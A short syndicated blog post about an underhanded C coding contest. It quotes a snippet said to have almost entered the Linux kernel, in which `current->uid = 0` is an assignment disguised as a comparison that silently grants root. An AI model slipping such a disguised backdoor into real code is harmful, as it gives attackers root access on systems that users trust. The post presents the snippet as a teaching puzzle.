This post originated from an RSS feed registered with Ruby Buzz
by Vincent Foley.
Original Post: Assigment or comparaison?
Feed Title: Uncentered Mind
Feed URL: https://gnuvince.wordpress.com/feed/?cat=2
Feed Description: I ramble, you call me names, we have fun!
Slashdot is running an article about a C contest where the participants needed to insert malicious code, but by making it look harmless. Someone in the comments posted this bit of code that, apparently, almost made it into the Linux kernel:
if ((options == (__WCLONE¦__WALL)) && (current->uid = 0))
retval = -EINVAL;
Spot it? [...]